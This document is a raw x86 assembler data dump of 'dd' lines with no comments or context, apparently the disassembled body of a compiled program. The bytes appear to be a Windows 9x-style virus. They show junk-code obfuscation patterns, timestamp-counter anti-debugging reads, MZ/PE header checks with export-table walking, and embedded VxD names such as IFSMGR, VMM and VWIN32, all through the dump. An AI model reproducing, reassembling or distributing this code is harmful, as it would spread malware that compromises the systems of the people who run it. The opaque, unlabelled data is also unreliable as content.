		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 21495DF5h
		dd 8ACDDBD5h, 810F21D8h, 0Ah, 5E9h, 983E8600h, 0B5895FDDh
		dd 6072C95h, 0B95BD8Dh,	0ADF90607h, 0B8DB531h, 7C810607h
		dd 2824h, 870F1000h, 0A7h, 0F318529h, 0F900607h, 1584h
		dd 10E900h, 485A0000h, 0BFBACFD8h, 89021162h, 0AE9646F1h
		dd 50508995h, 87BB6052h, 57268DA5h, 310F615Eh, 6850Fh
		dd 52500000h, 585A310Fh, 0F990585Ah, 2C24448Bh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0DAC35646h, 0AEDF0297h
		dd 6099E87Ch, 0E012B3BEh, 0A1958B60h, 61060711h, 19820F50h
		dd 60000000h, 12E9h, 9C22F100h,	61A7ED0h, 7B3D7AA2h, 0BE845930h
		dd 61EFD5DDh, 0FC240489h, 4576858Dh, 0FFFC060Ah, 7D9D89D0h
		dd 3060703h, 6A282444h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0CF0EC356h,	0E9153110h
		dd 12h,	1CFD288Ah, 10F24D6Ah, 1EA6AC3Ah, 0D917DE4Dh, 958916B3h
		dd 6071945h, 56006AABh,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0E29B3C48h, 20A224h, 0E5B58962h
		dd 5E06070Bh, 70E68DFFh, 0BD83060Ah, 60A70E6h
		dd 330A7500h, 0CFB58DC0h, 0FF060A7Fh, 81AD56E6h, 28247Ch
		dd 77100000h, 448B500Eh, 8D502C24h, 0A457685h, 3D0FF06h
		dd 97282444h, 858ADF8Bh, 60A70E2h, 474C084h, 4C75073Ah
		dd 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h
		dd 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h,	660973D8h
		dd 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh
		dd 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh
		dd 0E3985FFh, 5DE90607h, 5EFFFFFFh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 3CC35747h, 58D95A72h, 0D648B57h
		dd 8BFCF8A3h, 70E3985h,	53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 256B92F3h, 0FC715FE9h
		dd 6AE0D1F5h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 3FDC356h, 70B9585h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0BD299D2Dh, 0E97D573Ah, 9, 60E70F41h, 16F486C6h, 0C185292Eh
		dd 2B060702h, 50006AF6h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0E9606E71h, 0Eh, 0F30E7E5Ch, 0C0709BBAh
		dd 0EA66694Ch, 61F83E4Eh, 52006A96h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 46032DB0h
		dd 0E3D7C2C0h, 15819D89h, 0AD660607h, 6E9h, 0C260C300h
		dd 0C1B52EB7h, 958902E0h, 60732B5h, 2D698503h, 0B5890607h
		dd 6070C45h, 56006A96h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0DFE812A7h, 34C9F734h, 9ADF909h
		dd 727618Dh, 247C8106h,	24h, 5E870F10h,	6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0A123C350h, 60FFC0B9h, 6759503h, 85030607h, 6073059h
		dd 8B0F9061h, 0Eh, 9E9h, 7F89A800h, 3E079E42h, 0F50FFAFh
		dd 0B81h, 6E900h, 55530000h, 7AFCBFF4h,	52006A90h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 448B2251h, 6A2824h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 70CCA7C3h, 4E77DA2Bh, 68A0F60h
		dd 0F000000h, 82h, 50506100h, 8E952h, 60D80000h, 0AFFB2481h
		dd 310F22B2h, 52505250h, 585A310Fh, 890F310Fh, 0
		dd 585A585Ah, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0DA9EC357h,	13E9DF6Ch
		dd 0C2000000h, 0BC1D975h, 0F8B500C9h, 0ADA26B41h, 3ECE3D1Fh
		dd 858DB990h, 60A4576h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 40C35747h, 37539BFBh,	0F23FB68h, 68Fh
		dd 2D850100h, 6006071Ch, 3009858Bh, 0DE90607h, 0D2000000h
		dd 0ACC74F99h, 411E529Dh, 32A1BAD1h, 89D0FF61h,	702E985h
		dd 24440306h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0E4896FC0h, 0AF6FB615h, 9D89F926h
		dd 6073179h, 1C244489h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 66C35646h, 14E92751h,	12000000h, 89E71EC0h
		dd 1F4286ECh, 0F0A010B8h, 14257CC1h, 0C6E6F556h, 7152585h
		dd 85C70006h, 60A7249h,	0
		dd 70EA85C7h, 60Ah, 8F0F0000h, 1, 0F98529F9h, 6A060702h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 4671C351h, 60605816h, 76ADBAB9h, 6661FC59h
		dd 0E961CF8Bh, 0Fh, 40D14718h, 0AE3FF4D5h, 59767C9Ch, 61B63A12h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 58C35545h
		dd 0FC4D2463h, 16558560h, 218D89EDh, 8906070Ah,	70BBD9Dh
		dd 8C206h, 12E9h, 119DA500h, 0ECCE3BABh, 0A07B4D3Dh, 0B8BBD635h
		dd 8BB2DABCh, 72D6985h,	51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 451DC80Ch, 48066027h
		dd 359589B4h, 4A06071Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 29C35343h, 0D4087744h, 0CBAD56BCh, 4D26BFCh
		dd 6AC203F8h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0D67EC350h, 3E9696FEh,	759D8928h
		dd 96060729h, 0E9B58B60h, 8B060714h, 732159Dh, 6AAD6106h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0A8ABC356h, 7082C006h, 8914FCC1h,	70D1185h
		dd 247C8106h, 24h, 0DB870F10h, 0FC000000h, 8B666090h, 61D4B7FEh
		dd 46B06050h, 6A9061h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 3821E2C3h, 704EC4C0h, 24448BFCh
		dd 6870F28h, 1000000h, 719F99Dh, 52509006h, 6830Fh, 52500000h
		dd 585A310Fh, 0AE9310Fh, 5E000000h, 476B64D9h, 164BE1CAh
		dd 50585A4Bh, 0DE9h, 69E46D00h,	8893F72Eh, 666597B3h, 6090439Eh
		dd 16658D09h, 5E90607h,	15000000h, 0A90BE10Ah, 76858D61h
		dd 6A060A45h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 607BC350h, 0EBA0C381h,	0B5892846h
		dd 607118Dh, 6AD0FF61h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 914C357h, 36E9F8D1h
		dd 60FFFFFDh, 8E8h, 0B9931600h,	0FB8A2E32h, 58616085h
		dd 13E8h, 73FB1800h, 8F1D3AC3h,	2BFD7110h, 5708F0F1h, 488D10FBh
		dd 80BAB4BFh, 8D615B6Bh, 0A860385h, 5E906h, 959E0000h
		dd 50719CB9h, 17890Fh, 12E90000h, 0ED000000h, 35A43AD8h
		dd 1C3207A2h, 9AE9A691h, 2AF8F8C6h, 2404893Ah, 0E518589h
		dd 0FF640607h, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 4FA404B1h, 0BE9F818h
		dd 0D000000h, 0B13ED15Dh, 184FA404h, 48B33E2h, 0AE924h
		dd 0D08A0000h, 2CAF95FCh, 0D68356FAh, 158589F8h, 9060701h
		dd 72E7D9Dh, 5E906h, 82E30000h,	64AAA401h, 2589h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0F103E6C3h, 89F5E2B8h, 73179B5h, 0A9958906h,	8D060712h
		dd 0A83FF85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0F314ABDh, 0FCF3F857h, 9E9h, 4BB56500h
		dd 0EBFBF09Ah, 0CE91F72h, 32000000h, 4BB8C09Ch,	2BBAA35Fh
		dd 899F5524h, 6A0160h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0E9F685C3h, 25Dh, 3321BD89h, 13E90607h
		dd 51000000h, 4728A48Fh, 901D35A1h, 2A5A6D0Eh, 4C92704h
		dd 0DB8BC9FCh, 0E8h, 0ED815D00h, 60A83F8h, 12FF9CBCh, 25BD8300h
		dd 6070Eh, 858B1874h, 6071A29h,	8B0000C6h, 72F1185h, 0C606h
		dd 191D95FFh, 0FF600607h, 0A6CEEB5h, 0F2858D06h, 50060A6Ch
		dd 6EEA858Dh, 0FF50060Ah, 70F1D95h, 0CC48306h, 0B8666061h
		dd 0EE93322h, 0CC000000h, 1D2278A2h, 4B09DEE7h,	69C4B1FEh
		dd 6A61CEh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 1A9B14C3h, 240431F1h, 30918D89h, 85290607h
		dd 607215Dh, 6EEAB58Dh,	6A060Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0BD8D58C3h, 6072411h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9DC35646h
		dd 0F8CE7ABh, 685h, 75950900h, 8006070Ah, 840F003Eh, 85h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A5C35242h
		dd 6CE2D339h, 12E960C7h, 0CD000000h, 0DA54E0FCh, 453F315Ah
		dd 9BCB0501h, 3D7D6D43h, 0CB8B6614h, 6AA461h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0D508CEC3h
		dd 128332ECh, 0F9E63EACh, 0FFFF8EE9h, 50006AFFh, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 0FC02BB4h, 680h, 959D2900h, 0AA060730h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 3C35545h, 11E9FCh
		dd 2730000h, 96F13923h,	0E6F70BF7h, 0AB3A598Eh,	0B8B4026Ah
		dd 7, 0DC99D29h, 85C70607h, 60702A1h, 1, 4A8D8DF8h, 6A06074Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 6FC4C352h, 8A0F8C0Dh, 6, 30A98D09h, 6E90607h
		dd 38000000h, 74E65D80h, 0F5E1FF67h, 0C245C8Bh,	0E855h
		dd 815D0000h, 0A860DEDh, 0B8838B06h, 89000000h,	0A6CEE85h
		dd 0F1858D06h, 89060A83h, 0B883h, 0C0335D00h, 50006AC3h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0CE8C565Dh, 8968CEFFh, 704F5BDh, 0A9950106h,	60060719h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D5C35141h
		dd 0B68C3E12h, 1C820Fh,	8F0F0000h, 16h,	11E9h, 0F09D6A00h
		dd 0DC55EBA4h, 2F884F14h, 53EB7AA8h, 858D8B87h,	60A8885h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 1EC35242h
		dd 268BC9A4h, 399D890Dh, 60060719h, 131D9D31h, 56BB0607h
		dd 614A0218h, 0F830F50h, 0E9000000h, 0Ah, 3CF3B818h, 917DB994h
		dd 489DFB5h, 78D0F24h, 0F000000h, 18Dh,	0FF64F900h, 35h
		dd 108D0F00h, 0E9000000h, 0Bh, 62DACCB1h, 0FA62DEDEh, 64B766ACh
		dd 2589h, 12E90000h, 1B000000h,	5A228F3Fh, 9E14ADA9h, 29176EA1h
		dd 0DD507A17h, 0A858D87h, 60060A89h, 36F333BBh,	610AB831h
		dd 161465Eh, 704A195h, 1608906h, 2585C6F9h, 4F060715h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 96C35242h
		dd 6800F60h, 8B000000h,	70A059Dh, 0F58D8B06h, 61060720h
		dd 2573D68h, 0E952508Fh, 13h, 0E804C546h, 0DDF85151h, 24C907FFh
		dd 0F3239C83h, 0FA252B9h, 0EE931h, 7AE70000h, 0DA2C0F80h
		dd 8E4B79C2h, 0D486A664h, 3481585Ah, 0CA231724h, 0EE971h
		dd 0DBB60000h, 0A10E7C14h, 0EE9A813Eh, 0C837B3A8h, 1CBDB5FFh
		dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0C7A275C3h, 60CD2B49h, 9188F081h,	8D313DD9h
		dd 6072141h, 0F4858D61h, 60060A70h
		dd 858986B0h, 6073259h,	60D0FF61h, 0FE853h, 3E3A0000h
		dd 82AC9664h, 0FF854224h, 80D8033Fh, 0F85A583Dh, 0C5E961h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0E8C06CC3h, 35A223BDh, 0E9844E50h, 8, 0FEC97144h
		dd 0CF3280A7h, 1B58960h, 89060716h, 72D759Dh, 5C8B6106h
		dd 0E8550C24h, 0
		dd 8FED815Dh, 8B060A88h, 7293985h, 0BD858906h, 8B06071Ch
		dd 7319985h, 15858906h,	8B060710h, 730A585h, 4D858906h
		dd 0C6060700h, 7152585h, 85C70006h, 60A7249h, 0
		dd 890A858Dh, 8389060Ah, 0B8h, 0C3C0335Dh, 1840Fh, 6AF90000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 6B32C357h, 48674E85h, 8585895Fh, 0BC06071Ah
		dd 12FF74h, 0CE9h, 4214F100h, 0F7D595h,	0F4E7E393h, 58F6481h
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 7BC35545h
		dd 0F5DEBB9Ch, 6A04C483h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 78B9C350h, 34EB61FCh
		dd 4D534649h, 20205247h, 20444B56h, 20202020h, 204D4D56h
		dd 20202020h, 4E495756h, 20203233h, 4C445856h, 20205244h
		dd 3 dup(0)
		dd 6E2E9h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 60065E78h, 613AF480h, 52006A60h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 60FCC6B3h, 28B0Fh, 59520000h, 3481B866h, 9385C761h
		dd 60A89h, 0F8000000h, 6AC68Bh,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 988340C3h, 0EF3AA5E8h
		dd 0D8B70F90h, 10E8C1FCh, 8E960h, 54E70000h, 96CCC83h
		dd 0C18BB1F9h, 0C8C16661h, 8589F908h, 60A8997h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0B6C35545h, 0CBC166F5h
		dd 0B9666008h, 6061B11Ch, 11E8D08Bh, 90000000h,	0FB549F37h
		dd 65AFC47Fh, 2E251E8Eh, 6E188B7Bh, 83615EF8h, 850F40FBh
		dd 27h,	1870Fh,	8DFC0000h, 0A896BBDh, 0EDE9F506h, 0E9000001h
		dd 0Fh,	80EEE2F5h, 4ADE3673h, 1C9A1F94h, 83CC1D79h, 850F0DFBh
		dd 6Fh,	14E860h, 9BC60000h, 4AFC2FBCh, 0FFB8C4FAh, 7CD8FF88h
		dd 203C3F12h, 11E82F5Ah, 3000000h, 586F69B7h, 0A92DA69Dh
		dd 298C87FEh, 9F761A8Eh, 8A53595Ah, 8D6158E1h, 0A8973BDh
		dd 0B8666006h, 8B661CB7h, 85E961CEh, 6A000001h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 9585C357h, 89187CBEh, 83BC9F0Fh, 850F01FBh, 4Ah, 11E9h
		dd 0BE10B600h, 45785B31h, 9560094h, 0D8A7C6B3h,	0BD8D5B14h
		dd 60A897Bh, 0C18B6660h, 94B86656h, 0E96159CBh,	12Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0B6C35040h, 0FB832376h
		dd 6D850F2Ah, 0F000000h, 0C80h,	6810F00h, 0F000000h, 86h
		dd 83BD8D00h, 0E9060A89h, 0Ah, 8E4326A9h, 0D4A0D40Ch, 9E9DE54h
		dd 89000000h, 31A3D53h,	0B935A505h, 0CBE9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0BD5F059Dh, 0C9FA0140h, 0A8C0Fh, 0F600000h, 8Dh, 61616000h
		dd 0F27FB83h, 2F985h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0C941669Eh, 0BFB4C6AEh
		dd 60F893BCh, 860F60h, 0F000000h, 8Ch, 8B666100h, 0F6061C8h
		dd 68Ah, 0A9C18100h, 0E934BD1Ah, 8, 0D6CC0D2Fh,	0A553F1CCh
		dd 8BBD8D61h, 6A060A89h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0FE06C350h,	0E9C95546h
		dd 10h,	84E00C7Ah, 919D25D7h, 0C0C5FA55h, 6E42AF8Bh, 899BBD89h
		dd 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 1F8F5C3h,	6E960h,	73C10000h, 9DDAA9A1h, 0C88C6661h
		dd 0F0324F8h, 0C8Eh, 6860F00h, 0F000000h, 87h, 0FC00A00h
		dd 17785h, 5E900h, 0FDB20000h, 8D56432Eh, 0A8F43B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 850F3E94h, 15h, 0CE960h, 0A40D0000h,	74AD8936h, 5D6A0C24h
		dd 6160B298h, 0D8858B61h, 0F9060A8Fh, 32BF6660h, 0FED4BB22h
		dd 506121D6h, 0E8A1B360h, 7, 0E85AFB51h, 0FC7DB57h, 84h
		dd 89615900h, 880F2414h, 7, 1820Fh, 0FF80000h, 0FE244C01h
		dd 5E9h, 1D82A700h, 0FC5A6587h,	6A24C283h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 55CAC351h
		dd 0D4F0EDE5h, 66F5DFA4h, 0FFC7289h, 78Bh, 18E0F00h, 0F8000000h
		dd 6A10CEC1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0AA6DC356h, 0FCB0B6ACh, 606DC4F5h
		dd 15A7BA51h, 0E85B3C79h, 12h, 8DA54DEFh, 20A8750Bh, 17768216h
		dd 0F2F2E701h, 615E522Fh, 2728966h, 0A840Fh, 0F600000h
		dd 86h,	61616000h, 0EE9F860h, 8000000h,	7EC1E2A6h, 49B76399h
		dd 0F2DBC43Bh, 4CD615Eh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0A3C35343h, 86DC5F5Eh, 0C9F333B2h, 1810F38h
		dd 0FC000000h, 8CE9h, 44B56000h, 61D78B66h, 8FD8858Bh
		dd 820F060Ah, 8, 2860Fh, 61600000h, 8F43B58Dh, 0E860060Ah
		dd 14h,	65F6C299h, 86CCDD5Fh, 28EC2B22h, 8770B8FFh, 0E28D329Eh
		dd 0C7B70F5Eh, 18B0F61h, 0F5000000h, 4A8A858Dh,	0F60060Ah
		dd 381h, 0F2BF0F00h, 0D0FFF561h, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 5EC35747h, 8459488h, 0B860B312h
		dd 4F0C723Fh, 28B0Fh, 0FB10000h, 93858961h, 60060A89h
		dd 0BE9h, 8FB77900h, 0D715E72Ah, 0B1104F0Ch, 3535DABEh
		dd 0F961615Ch, 8993858Bh, 0EE9060Ah, 62000000h,	0F0CFEECBh
		dd 0EAFA5806h, 25F42B6Ah, 0E960C31Ch, 0Bh, 0E4C87D46h
		dd 0A4E21B5Ah, 0E9E31A9Dh, 13h,	16D3ADAEh, 0DCF2103h, 6B57B86Ch
		dd 81DEEF68h, 61E5033Ah, 0BD83F560h, 60A8FD8h, 4F850F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 1D07C356h, 0FE90E7Ah, 0F3000000h
		dd 0BABA3046h, 0F5FEA7FCh, 3E133BFEh, 85C7BE83h, 60A8FD8h
		dd 1013Fh, 0DE9h, 1ECF5C00h, 7B49F7B4h,	0AE078E6Ch, 30E947B4h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0E98FC352h, 0Fh, 982215B8h, 853DEB1h
		dd 787D3620h, 0CDAB6807h, 20h, 74C00B00h, 0C708D37h, 899BBD8Bh
		dd 8B9060Ah, 0A6000000h, 75492275h, 30488BFAh, 89979D8Bh
		dd 583B060Ah, 8B157F34h, 4D26BD3h, 18BCA03h, 89938589h
		dd 4EB060Ah, 0C5EB008Bh, 93858B61h, 0CF060A89h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0FBC35545h, 62790B91h
		dd 0E86054BBh, 0Bh, 0ECA5A2F3h,	4FE57FE2h, 0F646B53h, 88h
		dd 0B70F5B00h, 6A61FBh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 4D8916C3h, 850F608Fh, 1,	8B61F9FCh
		dd 83E9C0h, 51530000h, 8B575652h, 661C245Ch, 5A4D3B81h
		dd 68850Fh, 0B70F0000h,	0D8033C43h, 503B8166h, 57850F45h
		dd 8B000000h, 5C03785Bh, 738B1C24h, 24740324h, 7B8B561Ch
		dd 1C738B20h, 20247C03h, 20247403h, 0FFC983FCh,	245C8B41h
		dd 3178B1Ch, 83202454h,	28A04C7h, 874C084h, 0E875033Ah
		dd 0F2EB4243h, 0E075033Ah, 0FE1D15Fh, 8B0F04B7h, 44038604h
		dd 5E5F1C24h, 0C25B595Ah, 0C0330008h, 0FFFFF1E9h, 0E8CA8BFFh
		dd 7, 0F09435CEh, 0E9552A15h, 12h, 69F018EDh, 67B1B3A2h
		dd 0ADFF8335h, 0BD2829Ah, 8158CF40h, 30B074C9h,	0AAC08163h
		dd 0BA00005Ch, 368157C7h, 16F968h, 81665E00h, 0FF09B7CAh
		dd 0BAB55030h, 0FE85B59h, 5D000000h, 3330B548h,	5C448089h
		dd 86F72B8Bh, 0FE8BDFEBh, 92F3815Ah, 6060D55Dh,	28B0Fh
		dd 61600000h, 0FE8h, 8D1B5B00h,	0F730B9B1h, 0EDC8FC75h
		dd 82B2E55h, 6159C68Bh,	0DB74C381h, 0F38165F1h
		dd 4D1D6673h, 13E953h, 0C8920000h, 637D83D3h, 0A93B9CFBh
		dd 0C0C0D46Ch, 0CC3D65FCh, 60008F66h, 0FDEBF0Fh, 8361D0B7h
		dd 810F04E8h, 3, 8305D980h, 850F01EEh, 0FFFFFF77h, 0ED5ECF81h
		dd 48E95EDAh, 50000001h, 54000000h, 58000000h, 5C000000h
		dd 60000000h, 64000000h, 68000000h, 6C000000h, 0B0000000h
		dd 0B4000000h, 0B8000000h, 0BC000000h, 0C0000000h, 0C4000000h
		dd 0C8000000h, 0CC000000h, 0D0000000h, 0D4000000h, 0D8000000h
		dd 0DC000000h, 0E0000000h, 0E4000000h, 0E8000000h, 0EC000000h
		dd 38h dup(0)
		dd 9F000000h, 0EB00574Eh, 8D009F50h, 0A91E685h,	0A906BE06h
		dd 85897BE7h, 60A9326h,	2CC28166h, 2585C62Ch, 54060715h
		dd 68C0Fh, 9D8B0000h, 60718C1h,	0E4F7DD68h, 243481AEh
		dd 40869FF4h, 0B5FFFA8Bh, 6071CBDh, 15950960h, 8006071Eh
		dd 8D6186F2h, 0A70F485h, 71BF6606h, 1D0FF3Fh, 71865B5h
		dd 2A858906h, 60060A93h, 207D8D89h, 0F8610607h,	40E9h
		dd 8B56F500h, 0A9326B5h, 83068906h, 0A932685h, 0C35E0406h
		dd 0E6B58D60h, 0EB060A91h, 6A560Fh, 95FF36FFh, 60A932Ah
		dd 4C6835Eh, 75003E83h,	0FC361ECh, 285h, 9D18A00h, 71D598Dh
		dd 0AF858D06h, 66060A93h, 1E34C181h, 31F98589h,	9E80607h
		dd 0B5000000h, 116971E4h, 92D1E95Fh, 23ADBD89h,	0F5590607h
		dd 5CD0C181h, 95010000h, 6073161h, 0BFh, 51B58B00h, 8B060726h
		dd 96BE3904h, 812E88ABh, 4F0903E8h, 7E908h, 13B90000h
		dd 96DE2AB4h, 0F4C081B6h, 6006A196h, 219D8BF5h,	61060720h
		dd 0E87DC081h, 85890133h, 6073141h, 8B390489h, 0D59D29DFh
		dd 83060731h, 958B04EFh, 60720B1h, 0A3E4FF81h, 850FFFFFh
		dd 1Eh,	3830Fh,	0B70F0000h, 2DE9DAh, 0A1F30000h, 1DEE8929h
		dd 69247F1Bh, 36AA0F6Eh, 0B58B2F47h, 6073035h, 0FFFF82E9h
		dd 0F1D7A0FFh, 47D629C4h, 502C0D0Fh, 0D69BD0FFh, 0E9B661D1h
		dd 0E5h, 0FFEE4D10h, 1F3271DCh,	7A0E0A1Dh, 33538FDDh, 7D2F6D37h
		dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h
		dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh
		dd 171E577Dh, 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h
		dd 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh
		dd 20602060h, 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h
		dd 28602060h, 0F0362BA7h, 0F360D650h, 96A1EFB6h, 0A7B4E0F7h
		dd 7192B8E3h, 0B9E9B3F4h, 2060F76Dh, 20602060h,	0F7202060h
		dd 351ADF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h
		dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h
		dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h, 66C1A800h
		dd 0F2FD54A7h, 0A46AD043h, 0CB9E929h, 11680000h, 0E9060A98h
		dd 0FFFCE6E1h, 0A993068h, 0E6D7E906h, 0D568FFFCh, 0E9060A99h
		dd 0FFFCE6CDh, 0A9AC468h, 0E6C3E906h, 3F68FFFCh, 0E9060A9Bh
		dd 0FFFCE6B9h, 0A9BC968h, 0E6AFE906h, 3A68FFFCh, 0E9060A9Dh
		dd 0FFFCE6A5h, 0A9E5E68h, 0E69BE906h, 6568FFFCh, 0E9060A9Fh
		dd 0FFFCE691h, 0AA03368h, 0E687E906h, 0FF68FFFCh, 0E9060AA0h
		dd 0FFFCE67Dh, 4B9735E2h, 519D2BEDh, 56A22AF3h,	56A24CF8h
		dd 57A331F8h, 440B4C6Dh, 4E1674C0h, 581E7CC8h, 5D207ECAh
		dd 951083CFh, 6F177C6h,	2509E8F0h, 9E6118DBh, 713B4828h
		dd 0D5683705h, 8AF60C5Fh, 0D937EA3Ah, 0FE741811h, 0CCA91623h
		dd 0AE51C97Ch, 0FA864994h, 12D533AEh, 0D222CC78h, 0D7912D1Ch
		dd 0FCCB8D5Ch, 995CFC13h, 45242E51h, 0C275C58Ah, 99A08447h
		dd 4E018B54h, 2F993BFEh, 49F29C5Fh, 72A33485h, 0D9B5EBCh
		dd 14A063C1h, 7EAE9261h, 2CCFF00Bh, 894CAA12h, 24E745FBh
		dd 535A1D98h, 0E08DA46Bh, 1D7BC77Dh, 58F45B5Ah,	48098203h
		dd 24E745F8h, 8023E598h, 0D8A0FEA6h, 7CFB69DBh,	5AAAA3E8h
		dd 0FA8649A7h, 0D396F4AAh, 9759F945h, 0D799CAC6h, 51Ah
		dd 828E995Ch, 0F3176DE1h, 18DB593Dh, 0B87BD98Ch, 0CDF1E02Ch
		dd 1F51209Bh, 68FC136Ah, 1A0657A5h, 113F802Ch, 81716456h
		dd 9E51A1F1h, 72FEC523h, 214976AFh, 782E9EB8h, 0B7586A9h
		dd 65BD60F0h, 0CA3D5416h, 519499h, 9E190000h, 0B7D6CCFh
		dd 0F62EF1F0h, 3286A130h, 0BCE2C7Ch, 4AE3C77Dh,	0FE79F474h
		dd 0C670C2Fh, 4B0151F6h, 359255D0h, 51095635h, 0A43807BDh
		dd 0F9FC131Ah, 0E4B32EA9h, 0F00B0551h, 5508BE0Eh, 0B05BB86h
